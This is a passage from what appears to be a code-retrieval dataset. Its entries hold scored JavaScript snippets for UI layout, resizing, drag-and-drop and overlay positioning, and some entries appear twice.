(!Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement)) {\n containerTop = containerRectValues.top;\n }\n var borderValue = Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement) ? 0 : containerElement.offsetHeight - containerElement.clientHeight;\n var topWithoutborder = (targetRectValues.top - containerTop) - (borderValue / 2);\n topWithoutborder = (topWithoutborder < 0) ? 0 : topWithoutborder;\n if (targetRectValues.top > 0 && (topWithoutborder + calculatedHeight) > maxHeight) {\n calculateValue = false;\n if (targetElement.classList.contains(RESIZE_WITHIN_VIEWPORT)) {\n return;\n }\n targetElement.style.height = (maxHeight - parseInt(topWithoutborder.toString(), 10)) + 'px';\n return;\n }\n var targetTop = 0;\n if (calculateValue) {\n if (targetRectValues.top < 0 && (documentHeight + (targetRectValues.height + targetRectValues.top) > 0)) {\n targetTop = targetRectValues.top;\n if ((calculatedHeight + targetTop) <= 30) {\n calculatedHeight = (targetRectValues.height - (targetRectValues.height + targetRectValues.top)) + 30;\n }\n }\n if (((calculatedHeight + targetRectValues.top) >= maxHeight)) {\n targetElement.style.height = targetRectValues.height +\n (documentHeight - (targetRectValues.height + targetRectValues.top)) + 'px';\n }\n var calculatedTop = (Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement)) ? targetTop : topWithoutborder;\n if (calculatedHeight >= minHeight && ((calculatedHeight + calculatedTop) <= maxHeight)) {\n targetElement.style.height = calculatedHeight + 'px';\n }\n }\n}", "title": "" }, { "docid": "25ff6554e4f5e9c74da1cfba15da6b4e", "score": "0.5280432", "text": "reapplyLastPosition() {\n if (!this._isDisposed && (!this._platform || this._platform.isBrowser)) {\n this._originRect = this._getOriginRect();\n this._overlayRect = this._pane.getBoundingClientRect();\n this._viewportRect = this._getNarrowedViewportRect();\n const lastPosition = this._lastPosition || this._preferredPositions[0];\n const originPoint = this._getOriginPoint(this._originRect, lastPosition);\n this._applyPosition(lastPosition, originPoint);\n }\n }", "title": "" }, { "docid": "25ff6554e4f5e9c74da1cfba15da6b4e", "score": "0.5280432", "text": "reapplyLastPosition() {\n if (!this._isDisposed && (!this._platform || this._platform.isBrowser)) {\n this._originRect = this._getOriginRect();\n this._overlayRect = this._pane.getBoundingClientRect();\n this._viewportRect = this._getNarrowedViewportRect();\n const lastPosition = this._lastPosition || this._preferredPositions[0];\n const originPoint = this._getOriginPoint(this._originRect, lastPosition);\n this._applyPosition(lastPosition, originPoint);\n }\n }", "title": "" }, { "docid": "dce6870fbf4b1ec2f85eabfe46b73e69", "score": "0.5279072", "text": "function rearrangePosition(e) {\n\n}", "title": "" }, { "docid": "b75505e6af83543b9bf0da8bc75e2ab9", "score": "0.5260852", "text": "function onResize() {\n updateSpanning();\n}", "title": "" }, { "docid": "b7bd277565bc1016c6663c024fff8207", "score": "0.525735", "text": "function updateSubplots(viewBox){var plotinfos=fullLayout._plots;var subplots=Object.keys(plotinfos);var xScaleFactor=viewBox[2]/xa[0]._length;var yScaleFactor=viewBox[3]/ya[0]._length;var editX=ew||isSubplotConstrained;var editY=ns||isSubplotConstrained;var i,xScaleFactor2,yScaleFactor2,clipDx,clipDy;// Find the appropriate scaling for this axis, if it's linked to the\n// dragged axes by constraints. 0 is special, it means this axis shouldn't\n// ever be scaled (will be converted to 1 if the other axis is scaled)\nfunction getLinkedScaleFactor(ax){if(ax.fixedrange)return 0;if(editX&&xaLinked.indexOf(ax)!==-1){return xScaleFactor;}if(editY&&(isSubplotConstrained?xaLinked:yaLinked).indexOf(ax)!==-1){return yScaleFactor;}return 0;}function scaleAndGetShift(ax,scaleFactor){if(scaleFactor){ax.range=ax._r.slice();scaleZoom(ax,scaleFactor);return ax._length*(1-scaleFactor)/2;}return 0;}for(i=0;i<subplots.length;i++){var subplot=plotinfos[subplots[i]],xa2=subplot.xaxis,ya2=subplot.yaxis,editX2=editX&&!xa2.fixedrange&&xa.indexOf(xa2)!==-1,editY2=editY&&!ya2.fixedrange&&ya.indexOf(ya2)!==-1;if(editX2){xScaleFactor2=xScaleFactor;clipDx=viewBox[0];}else{xScaleFactor2=getLinkedScaleFactor(xa2);clipDx=scaleAndGetShift(xa2,xScaleFactor2);}if(editY2){yScaleFactor2=yScaleFactor;clipDy=viewBox[1];}else{yScaleFactor2=getLinkedScaleFactor(ya2);clipDy=scaleAndGetShift(ya2,yScaleFactor2);}// don't scale at all if neither axis is scalable here\nif(!xScaleFactor2&&!yScaleFactor2)continue;// but if only one is, reset the other axis scaling\nif(!xScaleFactor2)xScaleFactor2=1;if(!yScaleFactor2)yScaleFactor2=1;var plotDx=xa2._offset-clipDx/xScaleFactor2,plotDy=ya2._offset-clipDy/yScaleFactor2;fullLayout._defs.selectAll('#'+subplot.clipId).call(Drawing.setTranslate,clipDx,clipDy).call(Drawing.setScale,xScaleFactor2,yScaleFactor2);subplot.plot.call(Drawing.setTranslate,plotDx,plotDy).call(Drawing.setScale,1/xScaleFactor2,1/yScaleFactor2)// This is specifically directed at scatter traces, applying an inverse\n// scale to individual points to counteract the scale of the trace\n// as a whole:\n.select('.scatterlayer').selectAll('.points').selectAll('.point').call(Drawing.setPointGroupScale,xScaleFactor2,yScaleFactor2);subplot.plot.select('.scatterlayer').selectAll('.points').selectAll('.textpoint').call(Drawing.setTextPointsScale,xScaleFactor2,yScaleFactor2);}}", "title": "" }, { "docid": "2a43f730e48b055c49af0df9f7ca4296", "score": "0.5251845", "text": "updateDimensions() {\n // this is the true current width\n // it is used to calculate the ink bar position & pagination offset\n this.setProperties({\n left: this.element.offsetLeft,\n width: this.element.offsetWidth\n });\n }", "title": "" }, { "docid": "fda7cf813c65c1250c0bc6c836c938c9", "score": "0.5249876", "text": "function recalculatePosition() {\n scope.position = appendToBody ? $position.offset(element) : $position.position(element);\n scope.position.top += element.prop('offsetHeight');\n } //we need to propagate user's query so we can higlight matches", "title": "" }, { "docid": "ab9120203bf9d1b4b4e976f0cf86e38e", "score": "0.5246325", "text": "function startRepositioningOnResize(){var repositionMenu=function(target,options){return $$rAF.throttle(function(){if(opts.isRemoved)return;var position=calculateMenuPosition(target,options);target.css(animator.toCss(position));});}(element,opts);$window.addEventListener('resize',repositionMenu);$window.addEventListener('orientationchange',repositionMenu);return function stopRepositioningOnResize(){// Disable resizing handlers\n$window.removeEventListener('resize',repositionMenu);$window.removeEventListener('orientationchange',repositionMenu);};}", "title": "" }, { "docid": "ab9120203bf9d1b4b4e976f0cf86e38e", "score": "0.5246325", "text": "function startRepositioningOnResize(){var repositionMenu=function(target,options){return $$rAF.throttle(function(){if(opts.isRemoved)return;var position=calculateMenuPosition(target,options);target.css(animator.toCss(position));});}(element,opts);$window.addEventListener('resize',repositionMenu);$window.addEventListener('orientationchange',repositionMenu);return function stopRepositioningOnResize(){// Disable resizing handlers\n$window.removeEventListener('resize',repositionMenu);$window.removeEventListener('orientationchange',repositionMenu);};}", "title": "" }, { "docid": "ca6095c805383ebef8e33cb0b0246635", "score": "0.5240561", "text": "_setLayout() {\n const editor = this._editor;\n const panel = this._panel;\n const state = this._state;\n editor.state = state.container;\n // Allow the message queue (which includes fit requests that might disrupt\n // setting relative sizes) to clear before setting sizes.\n requestAnimationFrame(() => {\n panel.setRelativeSizes(state.sizes);\n });\n }", "title": "" }, { "docid": "1d51a324a93ea9a325fd37b80eaed4de", "score": "0.5224346", "text": "function handleWindowResize(){ctrl.lastSelectedIndex=ctrl.selectedIndex;ctrl.offsetLeft=fixOffset(ctrl.offsetLeft);$mdUtil.nextTick(function(){ctrl.updateInkBarStyles();updatePagination();});}", "title": "" }, { "docid": "1d51a324a93ea9a325fd37b80eaed4de", "score": "0.5224346", "text": "function handleWindowResize(){ctrl.lastSelectedIndex=ctrl.selectedIndex;ctrl.offsetLeft=fixOffset(ctrl.offsetLeft);$mdUtil.nextTick(function(){ctrl.updateInkBarStyles();updatePagination();});}", "title": "" }, { "docid": "ab493a43fe53ccc7c0895bd657bb0a12", "score": "0.5218858", "text": "_updatePrevData() {\n vec2.set(this._lastPosition, this._contentWidget.offsetX, this._contentWidget.offsetY);\n this._lastContentBound = this._contentBound;\n this._lastViewBound = this._viewBound;\n }", "title": "" }, { "docid": "f71eec728266401a00bac24625446124", "score": "0.5212793", "text": "_resizeLayout() {\n const $lastContent = this._$main.children('.review-request-section:last-child');\n const $lastFieldContainer = $lastContent.children('.field-container');\n const $lastEditable = $lastFieldContainer.children('.editable');\n const lastContentTop = Math.ceil($lastContent.position().top);\n const editor = $lastEditable.inlineEditor('field').data('text-editor');\n const detailsWidth = 300; // Defined as @details-width in reviews.less\n const detailsPadding = 10;\n const $detailsBody = $('#review-request-details tbody');\n const $detailsLabels = $detailsBody.find('th:first-child');\n const $detailsValues = $detailsBody.find('span');\n\n this._blockResizeLayout = true;\n\n /*\n * Make sure that the details fields wrap correctly, even if they don't\n * have wrappable characters (this combines with the white-space:\n * word-wrap: break-word style). This computation makes things handle\n * potentially unknown field labels correctly.\n */\n $detailsValues.css('max-width', (detailsWidth -\n $detailsLabels.outerWidth() -\n detailsPadding * 3) + 'px');\n\n /*\n * Reset all the heights so we can do calculations based on their\n * native sizes.\n */\n this._$main.height('auto');\n $lastContent.height('auto');\n $lastEditable.height('auto');\n\n if (editor) {\n editor.setSize(null, 'auto');\n }\n\n /*\n * Set the review request box's main height to take up the full\n * amount of spaces between its top and the top of the \"extra\"\n * pane (where the issue summary table and stuff live).\n */\n this._$main.height(this._$extra.offset().top -\n this._$main.offset().top);\n const height = this._$main.height();\n\n if ($lastContent.outerHeight() + lastContentTop < height) {\n $lastContent.outerHeight(height - lastContentTop);\n\n /*\n * Get the size of the content box, and factor in the padding at\n * the bottom, to balance out position()'s calculation of the\n * padding at the top. This ensures we get a height that matches\n * the content area of the content box.\n */\n const contentHeight = $lastContent.height() -\n Math.ceil($lastFieldContainer.position().top);\n\n /*\n * Set the height of the editor or the editable field placeholder,\n * depending on whether we're in edit mode. There's no need to do\n * both, since this logic will be called again when the state\n * changes.\n */\n if ($lastEditable.inlineEditor('editing') && editor) {\n editor.setSize(\n null,\n contentHeight -\n $lastEditable.inlineEditor('buttons').height());\n } else {\n /*\n * It's possible to squish the editable element if we force\n * a size, so make sure it's always at least the natural\n * height.\n */\n const newEditableHeight = contentHeight +\n $lastEditable.getExtents('m', 'tb');\n\n if (newEditableHeight > $lastEditable.outerHeight()) {\n $lastEditable.outerHeight(newEditableHeight);\n }\n }\n }\n\n this._blockResizeLayout = false;\n }", "title": "" }, { "docid": "6f26aa027e1be2c11677e18bf6ce8706", "score": "0.52125186", "text": "didRenderLayout(_component, _bounds) {// noop\n }", "title": "" }, { "docid": "e1dde34ed471aa725f4ea3d2ac09402e", "score": "0.5209666", "text": "drop(e) {\n const pointer = this, chart = this.chart, hasPinched = this.hasPinched;\n if (this.selectionMarker) {\n const { x, y, width, height } = this.getSelectionBox(this.selectionMarker);\n const selectionData = {\n originalEvent: e,\n xAxis: [],\n yAxis: [],\n x,\n y,\n width,\n height\n };\n // Start by false runZoom, unless when we have a mapView, in\n // which case the zoom will be handled in the selection event.\n let runZoom = Boolean(chart.mapView);\n // a selection has been made\n if (this.hasDragged || hasPinched) {\n // record each axis' min and max\n chart.axes.forEach(function (axis) {\n if (axis.zoomEnabled &&\n defined(axis.min) &&\n (hasPinched ||\n pointer[{\n xAxis: 'zoomX',\n yAxis: 'zoomY'\n }[axis.coll]]) &&\n isNumber(x) &&\n isNumber(y) &&\n isNumber(width) &&\n isNumber(height)) { // #859, #3569\n const horiz = axis.horiz, minPixelPadding = e.type === 'touchend' ?\n axis.minPixelPadding :\n 0, // #1207, #3075\n selectionMin = axis.toValue((horiz ? x : y) + minPixelPadding), selectionMax = axis.toValue((horiz ? x + width : y + height) -\n minPixelPadding);\n selectionData[axis.coll].push({\n axis: axis,\n // Min/max for reversed axes\n min: Math.min(selectionMin, selectionMax),\n max: Math.max(selectionMin, selectionMax)\n });\n runZoom = true;\n }\n });\n if (runZoom) {\n fireEvent(chart, 'selection', selectionData, function (args) {\n chart.zoom(extend(args, hasPinched ?\n { animation: false } :\n null));\n });\n }\n }\n if (isNumber(chart.index)) {\n this.selectionMarker = this.selectionMarker.destroy();\n }\n // Reset scaling preview\n if (hasPinched) {\n this.scaleGroups();\n }\n }\n // Reset all. Check isNumber because it may be destroyed on mouse up\n // (#877)\n if (chart && isNumber(chart.index)) {\n css(chart.container, { cursor: chart._cursor });\n chart.cancelClick = this.hasDragged > 10; // #370\n chart.mouseIsDown = this.hasDragged = this.hasPinched = false;\n this.pinchDown = [];\n }\n }", "title": "" }, { "docid": "a94e9bcd7e34a9cb373c3a294b409ce3", "score": "0.5206368", "text": "_dragStartSetup() {\n // Store current viewport:\n // 1) in case drag canceled later and need to revert back to original state\n // 2) or drag finished, but need to compare with initial viewport to see if viewport change event needs to be fired\n this._dragInitialX = this._comp.getTimeZoomCanvas().getTranslateX();\n this._dragInitialY = this._comp.getDatabody().getTranslateY();\n this._dragInitialViewportStart = this._comp.getViewportStartTime();\n this._dragInitialViewportEnd = this._comp.getViewportEndTime();\n\n // Disable pointer-events on reference objects and dep lines (which lay on top of the row drop targets and interferes)\n // until no longer drag and dropping\n this._comp.getReferenceLinesContainer().setMouseEnabled(false);\n this._comp.getReferenceAreasContainer().setMouseEnabled(false);\n this._comp.getRowReferenceObjectsContainer().setMouseEnabled(false);\n if (this._comp.getDependenciesContainer()) {\n this._comp.getDependenciesContainer().setMouseEnabled(false);\n }\n\n // Un-dim the data area\n if (this._comp.getOptions()['selectionBehavior'] === 'highlightDependencies') {\n this._comp.undimDatabody();\n }\n }", "title": "" }, { "docid": "7d62094d8c5faf8524772c1daecee8e4", "score": "0.5198243", "text": "resize() {\n\t\t\t\t// defaults to grabbing dimensions from container element\n\t\t\t\tconst normalWidth = $sel.node().offsetWidth; // - marginLeft - marginRight\n\t\t\t\twidth = normalWidth * DPR;\n\t\t\t\tconst normalHeight = $sel.node().offsetHeight; // - marginTop - marginBottom\n\t\t\t\theight = normalHeight * DPR;\n\n\t\t\t\tif (window.innerWidth <= 1152) mobile = true;\n\t\t\t\tconst inner = window.innerWidth;\n\t\t\t\t// console.log({ inner, mobile });\n\n\t\t\t\theightLevels = bpKeys.map(d => (height / DPR) * breakPoints[d]);\n\n\t\t\t\t$svg.attr('width', width / DPR).attr('height', height / DPR);\n\n\t\t\t\t$canvas\n\t\t\t\t\t.attr('width', width)\n\t\t\t\t\t.attr('height', height)\n\t\t\t\t\t.style('width', `${width / DPR}px`)\n\t\t\t\t\t.style('height', `${height / DPR}px`);\n\n\t\t\t\tstopSectionWidth = width * 0.25;\n\n\t\t\t\tif (filter === 'ranked' || filter === 'skipCollege') {\n\t\t\t\t\tscaleX\n\t\t\t\t\t\t.range([marginLeft * DPR, width - marginRight * DPR])\n\t\t\t\t\t\t.domain([1, 100])\n\t\t\t\t\t\t.clamp(true);\n\n\t\t\t\t\tscaleXUnderdogs.range([0, 0]).domain([0, 0]);\n\n\t\t\t\t\tscaleXsvg\n\t\t\t\t\t\t.range([marginLeft, width / DPR - marginRight])\n\t\t\t\t\t\t.domain([1, 100])\n\t\t\t\t\t\t.clamp(true);\n\t\t\t\t} else if (filter === 'top10') {\n\t\t\t\t\tscaleX\n\t\t\t\t\t\t.range([marginLeft * DPR, width - marginRight * DPR])\n\t\t\t\t\t\t.domain([1, 10])\n\t\t\t\t\t\t.clamp(true);\n\n\t\t\t\t\tscaleXUnderdogs.range([0, 0]).domain([0, 0]);\n\n\t\t\t\t\tscaleXsvg\n\t\t\t\t\t\t.range([marginLeft, width / DPR - marginRight])\n\t\t\t\t\t\t.domain([1, 10])\n\t\t\t\t\t\t.clamp(true);\n\t\t\t\t} else {\n\t\t\t\t\tscaleX\n\t\t\t\t\t\t.range([\n\t\t\t\t\t\t\tmarginLeft * DPR,\n\t\t\t\t\t\t\twidth - stopSectionWidth - padding - marginRight * DPR\n\t\t\t\t\t\t])\n\t\t\t\t\t\t.domain([1, 100])\n\t\t\t\t\t\t.clamp(true);\n\n\t\t\t\t\tscaleXUnderdogs\n\t\t\t\t\t\t.range([width - stopSectionWidth, width - marginRight * DPR])\n\t\t\t\t\t\t.domain([0, 1]);\n\n\t\t\t\t\tscaleXsvg\n\t\t\t\t\t\t.range([\n\t\t\t\t\t\t\tmarginLeft,\n\t\t\t\t\t\t\t(width - stopSectionWidth - padding) / DPR - marginRight\n\t\t\t\t\t\t])\n\t\t\t\t\t\t.domain([1, 100])\n\t\t\t\t\t\t.clamp(true);\n\n\t\t\t\t\tscaleXsvgU\n\t\t\t\t\t\t.range([\n\t\t\t\t\t\t\t(width - stopSectionWidth) / DPR,\n\t\t\t\t\t\t\twidth / DPR - marginRight\n\t\t\t\t\t\t])\n\t\t\t\t\t\t.domain([0, 1]);\n\t\t\t\t}\n\n\t\t\t\t$bg\n\t\t\t\t\t.selectAll('.bg-block')\n\t\t\t\t\t.attr('width', (width + marginLeft + marginRight) / DPR)\n\t\t\t\t\t.attr('height', height / DPR - (height / DPR) * breakPoints.rookie)\n\t\t\t\t\t.attr('x', 0)\n\t\t\t\t\t.attr('y', (height / DPR) * breakPoints.bad)\n\t\t\t\t\t.lower()\n\t\t\t\t\t.attr('transform', `translate(${(marginLeft * DPR, 0)})`);\n\n\t\t\t\t$bg\n\t\t\t\t\t.selectAll('text')\n\t\t\t\t\t.attr(\n\t\t\t\t\t\t'transform',\n\t\t\t\t\t\t`translate(${marginLeft / 2}, ${((height / DPR) * 6) /\n\t\t\t\t\t\t\t8})rotate(-90)`\n\t\t\t\t\t)\n\t\t\t\t\t.attr('text-anchor', 'middle');\n\n\t\t\t\trectHeight = height * 0.05;\n\n\t\t\t\t$labels.selectAll('.label').attr('transform', (d, i) => {\n\t\t\t\t\tlet xPos = null;\n\t\t\t\t\tif (\n\t\t\t\t\t\tfilter == 'ranked' ||\n\t\t\t\t\t\tfilter == 'top10' ||\n\t\t\t\t\t\tfilter == 'skipCollege'\n\t\t\t\t\t)\n\t\t\t\t\t\txPos = width / 2 / DPR;\n\t\t\t\t\telse xPos = (width - stopSectionWidth) / 2 / DPR;\n\n\t\t\t\t\treturn `translate(${xPos}, ${(height * breakPoints[d]) / DPR -\n\t\t\t\t\t\trectHeight / 2 / DPR})`;\n\t\t\t\t});\n\n\t\t\t\t$labels.selectAll('.percentage__top').attr('transform', (d, i) => {\n\t\t\t\t\tlet xPos = null;\n\t\t\t\t\tif (\n\t\t\t\t\t\tfilter == 'ranked' ||\n\t\t\t\t\t\tfilter == 'top10' ||\n\t\t\t\t\t\tfilter == 'skipCollege'\n\t\t\t\t\t)\n\t\t\t\t\t\txPos = width / DPR - marginRight;\n\t\t\t\t\telse xPos = (width - stopSectionWidth - padding) / DPR - marginRight;\n\n\t\t\t\t\treturn `translate(${xPos}, ${(height / DPR) * breakPoints[d] -\n\t\t\t\t\t\trectHeight / 2 / DPR})`;\n\t\t\t\t});\n\n\t\t\t\t$labels.selectAll('.count__top').attr('transform', (d, i) => {\n\t\t\t\t\tlet xPos = null;\n\t\t\t\t\tif (\n\t\t\t\t\t\tfilter == 'ranked' ||\n\t\t\t\t\t\tfilter == 'top10' ||\n\t\t\t\t\t\tfilter == 'skipCollege'\n\t\t\t\t\t)\n\t\t\t\t\t\txPos = width / DPR - marginRight;\n\t\t\t\t\telse xPos = (width - stopSectionWidth - padding) / DPR - marginRight;\n\n\t\t\t\t\treturn `translate(${xPos}, ${(height / DPR) * breakPoints[d] +\n\t\t\t\t\t\trectHeight / 2 / DPR})`;\n\t\t\t\t});\n\n\t\t\t\trankAnn.attr(\n\t\t\t\t\t'transform',\n\t\t\t\t\td =>\n\t\t\t\t\t\t`translate(${scaleX(d.rank) / DPR}, ${marginTop +\n\t\t\t\t\t\t\t(height / DPR) * breakPoints.highSchool})`\n\t\t\t\t);\n\n\t\t\t\t// rankAnn.selectAll('line')\n\t\t\t\t// .attr('y1', d => ((height * breakPoints.highSchool) - (rectHeight / 2) + (radius / 2)) / DPR)\n\t\t\t\t// .attr('y2', d => -radius)\n\n\t\t\t\trankAnn\n\t\t\t\t\t.selectAll('text')\n\t\t\t\t\t.attr('transform', `translate(0, ${-(rectHeight / 2 / DPR)})`);\n\n\t\t\t\tif (\n\t\t\t\t\tfilter != 'ranked' &&\n\t\t\t\t\tfilter != 'top10' &&\n\t\t\t\t\tfilter != 'skipCollege'\n\t\t\t\t) {\n\t\t\t\t\tunderdogAnn.attr(\n\t\t\t\t\t\t'transform',\n\t\t\t\t\t\td =>\n\t\t\t\t\t\t\t`translate(0, ${marginTop +\n\t\t\t\t\t\t\t\t(height / DPR) * breakPoints.highSchool})`\n\t\t\t\t\t);\n\n\t\t\t\t\tunderdogAnn\n\t\t\t\t\t\t.selectAll('text')\n\t\t\t\t\t\t.attr(\n\t\t\t\t\t\t\t'transform',\n\t\t\t\t\t\t\td =>\n\t\t\t\t\t\t\t\t`translate(${scaleXUnderdogs(0.5) / DPR}, ${-(rectHeight / 2) /\n\t\t\t\t\t\t\t\t\tDPR})`\n\t\t\t\t\t\t);\n\n\t\t\t\t\t// underdogAnn.selectAll('line').attr('x2', stopSectionWidth - radius)\n\n\t\t\t\t\t$labels\n\t\t\t\t\t\t.selectAll('.percentage__underdog')\n\t\t\t\t\t\t.attr(\n\t\t\t\t\t\t\t'transform',\n\t\t\t\t\t\t\t(d, i) =>\n\t\t\t\t\t\t\t\t`translate(${(width - stopSectionWidth) / DPR}, ${(height *\n\t\t\t\t\t\t\t\t\tbreakPoints[d]) /\n\t\t\t\t\t\t\t\t\tDPR -\n\t\t\t\t\t\t\t\t\trectHeight / 2 / DPR})`\n\t\t\t\t\t\t);\n\n\t\t\t\t\t$labels\n\t\t\t\t\t\t.selectAll('.count__underdog')\n\t\t\t\t\t\t.attr(\n\t\t\t\t\t\t\t'transform',\n\t\t\t\t\t\t\t(d, i) =>\n\t\t\t\t\t\t\t\t`translate(${(width - stopSectionWidth) / DPR}, ${(height *\n\t\t\t\t\t\t\t\t\tbreakPoints[d]) /\n\t\t\t\t\t\t\t\t\tDPR +\n\t\t\t\t\t\t\t\t\trectHeight / 2 / DPR})`\n\t\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\t// setup data for canvas\n\t\t\t\tcircleData.forEach(d => {\n\t\t\t\t\t// const yPos = height * breakPoints[d.highest] + marginTop\n\t\t\t\t\td.y = height * breakPoints[d.highest] + marginTop * DPR;\n\t\t\t\t\td.maxY = d.y;\n\t\t\t\t\td.trans.duration = (d.maxY / height) * duration;\n\t\t\t\t\td.trans.i = d3.interpolate(marginTop * DPR, d.y);\n\n\t\t\t\t\tif (d.trans.delay > maxDelay) {\n\t\t\t\t\t\tmaxDelay = d.trans.delay;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tmoveCircles(0);\n\n\t\t\t\treturn Chart;\n\t\t\t}", "title": "" }, { "docid": "f1af43c66a175330015b660789bb3a36", "score": "0.5197097", "text": "_listenToScrollEvents() {\n this._viewportScrollSubscription = this._dragDropRegistry\n .scrolled(this._getShadowRoot())\n .subscribe(event => {\n if (this.isDragging()) {\n const scrollDifference = this._parentPositions.handleScroll(event);\n if (scrollDifference) {\n // Since we know the amount that the user has scrolled we can shift all of the\n // client rectangles ourselves. This is cheaper than re-measuring everything and\n // we can avoid inconsistent behavior where we might be measuring the element before\n // its position has changed.\n this._itemPositions.forEach(({ clientRect }) => {\n adjustClientRect(clientRect, scrollDifference.top, scrollDifference.left);\n });\n // We need two loops for this, because we want all of the cached\n // positions to be up-to-date before we re-sort the item.\n this._itemPositions.forEach(({ drag }) => {\n if (this._dragDropRegistry.isDragging(drag)) {\n // We need to re-sort the item manually, because the pointer move\n // events won't be dispatched while the user is scrolling.\n drag._sortFromLastPointerPosition();\n }\n });\n }\n }\n else if (this.isReceiving()) {\n this._cacheParentPositions();\n }\n });\n }", "title": "" }, { "docid": "b7b8ae699147f812ec92e458f4a47504", "score": "0.5193751", "text": "function JSTree_Layout()\r\n{\r\n var docLayers;\r\n\r\n // extract the layers of the document\r\n docLayers = document.layers;\r\n\r\n // initalize position and loop variables\r\n var i = 0;\r\n var posY = docLayers[i].pageY + docLayers[i].document.height;\r\n\r\n for(i = 1; i < docLayers.length; i++)\r\n {\r\n // don't layout a hidden layer\r\n if(docLayers[i].visibility != \"hide\")\r\n {\r\n // set the location of the layer\r\n docLayers[i].moveTo(docLayers[i].x, posY);\r\n posY += docLayers[i].document.height;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "2ac011a965d2bcf50ab6885a77a641a0", "score": "0.5187923", "text": "update(event) {\n const me = this,\n context = me.context,\n parentRectangle = Rectangle.from(me.outerElement.parentElement); // Calculate the current pointer X. Do not allow overflowing either edge\n\n context.currentX = Math.max(Math.min(event.clientX, parentRectangle.right - 1), parentRectangle.x) + me.scrollLeft;\n context.currentY = Math.max(Math.min(event.clientY, parentRectangle.bottom - 1), parentRectangle.y) + me.scrollTop;\n me.updateResize(event);\n me.trigger('resizing', {\n context,\n event\n });\n context.element.classList[context.valid === false ? 'add' : 'remove'](me.invalidCls); // When IE11 support is dropped\n // context.grabbed.classList.toggle(me.invalidCls, context.valid === false);\n\n if (event) {\n me.lastMouseMoveEvent = event;\n }\n }", "title": "" }, { "docid": "9e64d1e592ea35326708f7f4f9990c61", "score": "0.5184397", "text": "updatePosition() {\n if (!this._mounted || !this._tether) {\n return\n }\n\n const tetherBounds = getTetherBounds(this._tether)\n const contentSize = getContentDimensions(this)\n const viewportWidth = document.documentElement.clientWidth // window.innerWidth - scrollbars\n // Lets hope the document element (<html>) is at least 100vh high - which it usually is.\n const viewportHeight = Math.min(\n document.documentElement.clientHeight, // window.innerHeight - scrollbars\n window.innerHeight,\n )\n\n const lastHorizontalAlignment = this.horizontalAlignment\n const lastVerticalAlignment = this.verticalAlignment\n if (\n tetherBounds.screenX + contentSize.width > viewportWidth &&\n tetherBounds.screenX + tetherBounds.width - contentSize.width >= 0\n ) {\n this.horizontalAlignment = HORIZONTAL_ALIGN.RIGHT\n } else {\n this.horizontalAlignment = HORIZONTAL_ALIGN.LEFT\n }\n if (viewportHeight - (tetherBounds.screenY + tetherBounds.height) < this.minBottomSpace) {\n this.verticalAlignment = VERTICAL_ALIGN.TOP\n } else {\n this.verticalAlignment = VERTICAL_ALIGN.BOTTOM\n }\n\n updateAttributes(this)\n updatePosition(this, tetherBounds)\n\n if (this.horizontalAlignment !== lastHorizontalAlignment && this._root.onHorizontalAlignmentChange) {\n this._root.onHorizontalAlignmentChange(this.horizontalAlignment)\n }\n if (this.verticalAlignment !== lastVerticalAlignment && this._root.onVerticalAlignmentChange) {\n this._root.onVerticalAlignmentChange(this.verticalAlignment)\n }\n }", "title": "" }, { "docid": "085c3f52289df14b7995d06735175a9d", "score": "0.5170091", "text": "function mvis() \n{\n \n var ele=window.getSelection().getRangeAt(0); \n var sel = ele.getBoundingClientRect(); \n var dw = document.documentElement.clientWidth; \n var dh = document.documentElement.clientHeight; \n dw=window.innerWidth;\n dh=window.innerHeight;\n var st=sel.top;\n var sb=sel.bottom;\n var db=dh; \n var dt=0;\n var amt=0;\n if(st<0) //too much up\n {\n //alert(\"st<0\");\n amt=-1*dh*scf;//341 dh*scf; \n }\n if(sb>db) //too much down\n {\n //alert(\"sb>db\");\n amt=dh*scf; //341; \n }\n window.scrollBy(0, amt);\n if(amt>500) \n console.debug(\"scroll value too much \"+amt);\n //alert(sel.top+\" \" +sel.right+\" \"+sel.bottom+\" \"+ sel.left+\"\\n\"+dw+\" \"+dh+\" amt= \"+amt); \n //simply scroll down or up a constant number\n //amt<0?amt=-1*dh*scf:amt=dh*scf;\n //alert(\"document top and bottom \"+dt+\" \"+db+\"\\n\"+\"selecton top and bottom \"+st+\" \"+sb+\"\\n\"+\"amount \"+amt);\n //alert(sel.top+\" \"+sel.bottom);\n /* if(amt>0)\n {\n for(var i=0;i<amt;i++)\n {\n setTimeout(function(){},300);\n window.scrollBy(0, 1);\n }\n }\n else\n { amt=-1*amt; //make amt posititve\n for(i=0;i<amt;i++)\n {\n setTimeout(function(){},300);\n window.scrollBy(0, -1);\n } \n } */\n \n// console.log(sel.top+\" \"+sel.bottom);\n}", "title": "" }, { "docid": "b9967d21a187375c161659a91fce8419", "score": "0.51668024", "text": "_cacheItemPositions() {\n const isHorizontal = this._orientation === 'horizontal';\n this._itemPositions = this._activeDraggables\n .map(drag => {\n const elementToMeasure = drag.getVisibleElement();\n return {\n drag,\n offset: 0,\n initialTransform: elementToMeasure.style.transform || '',\n clientRect: getMutableClientRect(elementToMeasure),\n };\n })\n .sort((a, b) => {\n return isHorizontal\n ? a.clientRect.left - b.clientRect.left\n : a.clientRect.top - b.clientRect.top;\n });\n }", "title": "" }, { "docid": "72c8ef5d0240871e08643e4708210ea2", "score": "0.51618093", "text": "setInitialPosition(){\n let rect = this.nodes.wrapper.getBoundingClientRect();\n this.wrapperWidthCached = rect.width;\n this.wrapperLeftCoord = rect.left;\n\n this.width = this.modules.chart.minimalMapWidth;\n\n this.viewportWidthInitial = this.viewportWidthBeforeDrag = this.width;\n this.viewportOffsetLeft = this.wrapperWidth - this.viewportWidthInitial;\n // this.viewportOffsetLeft = 0;\n this.moveViewport(this.viewportOffsetLeft);\n this.syncScrollWithChart(this.viewportOffsetLeft);\n this.modules.chart.fitToMax();\n }", "title": "" }, { "docid": "3de292db3db57f891423483e3f5f553c", "score": "0.5160457", "text": "function updatePosition(event) {\n if (event && event.target &&\n event.target != window &&\n !event.target.getElementsByTagName) {\n\n /*\n * This is not a container. It might be a text node.\n * Ignore it.\n */\n return;\n 